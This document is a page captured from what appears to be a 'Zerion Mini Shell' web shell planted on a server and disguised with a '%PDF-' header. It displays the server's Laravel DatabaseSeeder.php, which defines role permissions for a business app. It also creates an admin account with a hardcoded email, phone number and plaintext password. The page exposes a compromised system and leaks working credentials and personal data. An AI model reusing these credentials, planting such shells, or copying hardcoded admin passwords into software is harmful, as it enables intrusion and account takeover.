%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/database/seeders/
Upload File :
Create Path :
Current File : //var/www/html/database/seeders/DatabaseSeeder.php

<?php

namespace Database\Seeders;

use App\Models\User;
use Spatie\Permission\Models\Role;
use Spatie\Permission\Models\Permission;

use Illuminate\Database\Seeder;
use Illuminate\Support\Facades\Hash;

class DatabaseSeeder extends Seeder
{
    /**
     * Seed the application's database.
     *
     * @return void
     */
    public function run()
    {

        // Reset cached roles and permissions
        app()[\Spatie\Permission\PermissionRegistrar::class]->forgetCachedPermissions();

        // create permissions

        // User Management Mr Jalal & Aman + Amina
        $edit_clients = Permission::create(['name' => 'edit clients']);
        $edit_fournisseurs = Permission::create(['name' => 'edit fournisseurs']);

        // Products Management Mr Jalal 
        $edit_emps = Permission::create(['name' => 'edit employers']);

        // stock Management Mr Jalal + Aman
        $products = Permission::create(['name' => 'edit products']);
        $categories = Permission::create(['name' => 'edit categories']);
        $marques = Permission::create(['name' => 'edit marques']);
        $situation = Permission::create(['name' => 'edit situations']);
        $colors = Permission::create(['name' => 'edit colors']);

        //Manage Factures  Aman + Amina

        $Factures = Permission::create(['name' => 'manage factures']); //Aman + Amina
        
        //mkynch validate facture ??
        $validate_facture = Permission::create(['name' => 'validate facture']); //Amina

        //Commandes Management Aman + Amina

        $read_commande = Permission::create(['name' => 'read commande']); //Aman

        $manage_commande = Permission::create(['name' => 'manage commandes']); //Amina

        $validate_commande = Permission::create(['name' => 'validate commandes']); // Amina

        $add_commande = Permission::create(['name' => 'add commande']);//Commercial + Amina 
        
        //Chéques Aman + Amina
        $manage_cheques = Permission::create(['name' => 'manage cheque']); //Aman + Amina
        $validate_cheque = Permission::create(['name' => 'validate cheque']); //Aman + Amina

       
        //Réglements Aman + Amina
        $manage_reg = Permission::create(['name' => 'manage reglements']); //Aman + Amina
        
        $chiffre_affaire = Permission::create(['name' => 'chiffre_daffaire']);//Aman + Amina
        
        $chiffre_affaire_commercials = Permission::create(['name' => 'chiffre_affaire_commercials']);

        $credit = Permission::create(['name' => 'credit']);//Aman + Amina Mr jalal
        
        $statistiques = Permission::create(['name' => 'statistics']); //Aman + Amina Mr jalal
        
        //TVA
        $tva = Permission::create(['name' => 'TVA']);
       
        //Banque Aman
        $manage_banque = Permission::create(['name' => 'manage Banque']); //Aman

        // Dashboard
        $dashboard = Permission::create(['name' => 'dashboard']);

        // create roles and assign created permissions
        $MrJalal = Role::create(['name' => 'admin']);
        $MrJalal->givePermissionTo($dashboard);
        $MrJalal->givePermissionTo($edit_clients);
        $MrJalal->givePermissionTo($edit_fournisseurs);
        $MrJalal->givePermissionTo($edit_emps);
        $MrJalal->givePermissionTo($products);
        $MrJalal->givePermissionTo($categories);
        $MrJalal->givePermissionTo($marques);
        $MrJalal->givePermissionTo($situation);
        $MrJalal->givePermissionTo($colors);
        $MrJalal->givePermissionTo($Factures);
        $MrJalal->givePermissionTo($validate_facture);
        $MrJalal->givePermissionTo($read_commande);
        $MrJalal->givePermissionTo($add_commande);
        $MrJalal->givePermissionTo($manage_commande);
        $MrJalal->givePermissionTo($validate_commande);
        $MrJalal->givePermissionTo($manage_reg);
        $MrJalal->givePermissionTo($manage_cheques);
        $MrJalal->givePermissionTo($validate_cheque);
        $MrJalal->givePermissionTo($manage_banque);       
        $MrJalal->givePermissionTo($credit);
        $MrJalal->givePermissionTo($chiffre_affaire);       
        $MrJalal->givePermissionTo($statistiques);
        $MrJalal->givePermissionTo($tva);
        

        
        $Aman = Role::create(['name' => 'gestionnaire']);

        $Aman->givePermissionTo($dashboard);
        $Aman->givePermissionTo($edit_clients);
        $Aman->givePermissionTo($edit_fournisseurs);
        $Aman->givePermissionTo($edit_emps);
        $Aman->givePermissionTo($products);
        $Aman->givePermissionTo($categories);
        $Aman->givePermissionTo($marques);
        $Aman->givePermissionTo($situation);
        $Aman->givePermissionTo($colors);
        $Aman->givePermissionTo($read_commande);
        $Aman->givePermissionTo($Factures);
        $Aman->givePermissionTo($manage_reg);
        $Aman->givePermissionTo($manage_cheques);
        $Aman->givePermissionTo($validate_cheque);
        $Aman->givePermissionTo($manage_banque);        
        $Aman->givePermissionTo($credit);
        $Aman->givePermissionTo($chiffre_affaire);
        $Aman->givePermissionTo($statistiques);
        $Aman->givePermissionTo($tva);


        $Amina = Role::create(['name' => 'secretaire']);

        $Amina->givePermissionTo($dashboard);
        $Amina->givePermissionTo($edit_clients);
        $Amina->givePermissionTo($edit_fournisseurs);
        $Amina->givePermissionTo($edit_emps);
        $Amina->givePermissionTo($Factures);
        $Amina->givePermissionTo($validate_facture);
        $Amina->givePermissionTo($add_commande);
        $Amina->givePermissionTo($read_commande);
        $Amina->givePermissionTo($manage_commande);
        $Amina->givePermissionTo($validate_commande);
        $Amina->givePermissionTo($manage_reg);
        $Amina->givePermissionTo($manage_cheques);
        $Amina->givePermissionTo($validate_cheque);
        $Amina->givePermissionTo($credit);
        $Amina->givePermissionTo($chiffre_affaire);
        $Amina->givePermissionTo($statistiques);
        $Amina->givePermissionTo($tva);
        

        $commercial = Role::create(['name' => 'commercial']);
        
        $commercial->givePermissionTo($dashboard);
        $commercial->givePermissionTo($add_commande);
        $commercial->givePermissionTo($chiffre_affaire_commercials);
        
        $client = Role::create(['name' => 'client']);
        
        $fournisseur = Role::create(['name' => 'fournisseur']);

        $user = User::create([

            'name' => 'J2HB',
            'email' => 'j2hb@j2hb.com',
            'phone' => '0661072777',
            'password' => Hash::make("j2hb2021")
        
        ]);

        $user->assignRole($MrJalal);
    }
}

Zerion Mini Shell 1.0